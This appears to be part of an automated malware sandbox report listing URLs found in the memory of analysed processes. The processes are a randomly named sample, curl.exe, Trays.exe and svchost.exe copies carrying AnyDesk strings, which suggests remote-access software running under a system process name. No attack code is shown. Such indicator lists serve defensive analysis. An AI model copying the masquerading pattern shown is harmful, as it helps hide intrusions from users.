Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.useplus.org/ldf/xmp/1.0/
Source: curl.exe, 00000039.00000003.1525434919.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525501304.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000002.1526751600.0000000001096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: driver.exe, 0000003A.00000002.1538618480.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2495320934.00000000023EA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/ay
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007CA000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2492534463.0000000000758000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2492534463.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php(y
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.php03
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phped
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpel
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpk
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0$
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpn
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phppplications.Enabled
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpr6
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/checkupdate.phpu
Source: Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.4t-niagara.com/files/4t-min.exe
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/files/4t-min.exe03
Source: driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.0000000002332000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html03
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.html??????...
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/newsletter.htmln...8
Source: Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.4t-niagara.com/support
Source: Trays.exe, 0000003B.00000002.2495320934.0000000002332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/support/product.php?p=min&ver=6.07&win=wvWin10&c=b3JkZXJfaWQ9M0ZVTUZSSi1BR
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023F8000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.html
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.html5
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmlgestion...ACuu
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmltmll
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray.htmltmll=
Source: driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.0000000002332000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.html
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.html03
Source: Trays.exe, 0000003B.00000002.2492534463.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmll
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmll7-24
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmll??????...
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_faq.htmlln...
Source: driver.exe, 0000003A.00000002.1538618480.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.0000000002332000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2492534463.0000000000786000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html03
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000758000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html;
Source: Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html???????...
Source: Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.html
Source: Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.html03
Source: driver.exe, 0000003A.00000003.1535835136.0000000002C02000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.htmlU
Source: svchost.exe, 0000000E.00000002.1413828166.000001FB45013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: curl.exe, 00000035.00000003.1428435183.0000000001163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.blat.net/h
Source: driver.exe, 0000003A.00000003.1535835136.0000000002C02000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.dk-soft.org/
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gimp.org/xmp/
Source: driver.exe, 0000003A.00000003.1535835136.0000000002B10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.opengl.org/registry/
Source: svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/)
Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000000.1401190486.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1429198523.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416973366.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430094705.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478832997.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501378655.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479597319.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510258481.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502118709.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526270520.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000000.1401190486.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1429198523.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416973366.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430094705.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478832997.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501378655.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479597319.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510258481.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502118709.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526270520.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html..
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlEC_PRIVATEKEYpublicKeyparametersprivateKeyECPKPARAMETERSvalue
Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pdf-tools.com
Source: driver.exe, 0000003A.00000003.1535835136.0000000002B10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com
Source: svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003F.00000003.1583015008.0000000003EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com/company#imprint
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com/contact/sales
Source: svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/contact/sales)
Source: svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/de/datenschutz
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/assembly
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/assembly/terms
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com/en/changelog/windows
Source: svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/privacy
Source: svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/es/privacidad
Source: svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com/order
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com/pricing/teams
Source: svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/pricing/teams)
Source: svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com/privacy
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com/terms
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://anydesk.com/update
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boot.net.anydesk.comabcdefABCDEFtruefalsetfInvalid
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1524/
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1526/
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1914/
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 0000000E.00000002.1413988163.000001FB45042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414105510.000001FB45063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412614037.000001FB4505A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414215366.000001FB45070000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1411630374.000001FB4506E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000002.1414215366.000001FB45070000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1411630374.000001FB4506E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000E.00000003.1411960311.000001FB45067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414143967.000001FB45068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000003.1411462558.000001FB45075000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414530369.000001FB45077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000002.1414105510.000001FB45063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412614037.000001FB4505A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1413928843.000001FB4502B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.1413928843.000001FB4502B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1411960311.000001FB45067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414143967.000001FB45068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000E.00000002.1414105510.000001FB45063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1413928843.000001FB4502B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000E.00000002.1413988163.000001FB45042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000002.1413988163.000001FB45042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414105510.000001FB45063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000E.00000003.1412872930.000001FB45032000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000002.1414105510.000001FB45063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000002.1413988163.000001FB45042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412388715.000001FB4505E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
